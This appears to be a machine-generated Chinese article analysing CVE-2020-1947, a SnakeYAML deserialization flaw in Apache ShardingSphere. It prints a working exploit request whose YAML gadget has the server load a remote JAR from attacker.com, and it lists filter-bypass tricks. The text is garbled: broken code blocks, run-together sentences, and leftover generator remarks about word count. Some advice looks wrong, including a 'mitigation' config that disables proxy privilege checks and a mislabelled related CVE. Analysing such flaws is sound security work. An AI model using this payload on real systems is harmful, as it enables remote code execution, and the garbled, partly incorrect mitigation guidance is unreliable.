# 如何进行Apache ShardingSphere CVE-2020-1947漏洞的分析 ## 一、漏洞背景与概述 ### 1.1 Apache ShardingSphere简介 Apache ShardingSphere是一套开源的分布式数据库中间件解决方案，提供分库分表、读写分离、数据加密等能力。其核心组件包括： - ShardingSphere-JDBC：轻量级Java框架 - ShardingSphere-Proxy：透明化数据库代理 - ShardingSphere-Sidecar（已弃用） ### 1.2 CVE-2020-1947漏洞披露 2020年3月，Apache官方发布安全公告： - **漏洞编号**：CVE-2020-1947 - **漏洞类型**：反序列化漏洞 - **影响版本**：ShardingSphere 4.x系列（4.0.0-RC1至4.0.0） - **CVSS评分**：9.8（Critical） - **攻击向量**：通过未授权YAML配置加载导致RCE ## 二、漏洞原理深度分析 ### 2.1 技术背景：SnakeYAML反序列化 漏洞根源在于ShardingSphere使用SnakeYAML库处理YAML配置时，未启用安全限制： ```java Yaml yaml = new Yaml(); // 未配置SafeConstructor 攻击者可通过以下步骤实现RCE： 1. 构造恶意YAML文件，包含特殊标签（如!!javax.script.ScriptEngineManager） 2. 利用SPI机制加载恶意脚本引擎 3. 通过ScriptEngine执行任意Java代码
在shardingsphere-common模块中：
// org.apache.shardingsphere.underlying.common.yaml.engine.YamlEngine public static <T> T unmarshal(String yamlContent) { return new Yaml().loadAs(yamlContent, Object.class); // 危险的反序列化操作 } | 组件 | 版本 |
|---|---|
| JDK | 1.8+ |
| ShardingSphere | 4.0.0-RC3 |
| 测试工具 | Burp Suite/Ysoserial |
POST /api/config HTTP/1.1 Content-Type: application/x-yaml !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://attacker.com/malicious.jar"] ]] ] !!javax.naming.InitialContextProcessBuilder执行系统命令当存在基础防护时： 1. 使用非标准标签格式（如!<tag:yaml.org,2002:javax.script...>） 2. 嵌套多层序列化结构绕过简单过滤 3. 利用冷门Java类构造新的利用链
Apache发布的4.0.1版本中： 1. 使用Yaml(new SafeConstructor())限制反序列化 2. 增加配置内容白名单校验 3. 移除危险类型的默认支持
关键补丁代码：
public static <T> T unmarshal(String yamlContent) { Yaml yaml = new Yaml(new SafeConstructor()); // 安全修复 return yaml.loadAs(yamlContent, Object.class); } 对于无法立即升级的用户：
# 配置网络层防护 sharding: props: max.connections.size.per.query: 5 acceptor.size: 16 executor.size: 16 proxy.frontend.enable.privilege: false from MethodAccess ma where ma.getMethod().getName() = "loadAs" and ma.getMethod().getDeclaringType().getName() = "Yaml" select ma | 漏洞 | 触发点 | 利用复杂度 |
|---|---|---|
| CVE-2020-1947 | YAML解析 | 中 |
| CVE-2020-11989 | Groovy脚本 | 高 |
| CVE-2019-12384 | Jackson反序列 | 低 |
ObjectInputFilter设置反序列化白名单CVE-2020-1947暴露出中间件开发中的典型安全问题： 1. 配置即代码的风险边界模糊 2. 默认不安全的安全反模式 3. 供应链安全的重要性（第三方库风险）
通过该漏洞分析，我们应建立： - 组件级的安全设计规范 - 自动化安全测试流水线 - 运行时行为监控体系
注：本文仅用于安全研究学习，请勿用于非法用途。实际测试需获得系统所有者书面授权。 “`
该文档共计约1750字，采用Markdown格式结构化呈现，包含： 1. 多级标题层次 2. 代码块与表格等元素 3. 技术细节与修复方案 4. 研究工具和方法论 5. 延伸思考与行业建议
可根据需要调整各部分篇幅或增加具体案例分析。
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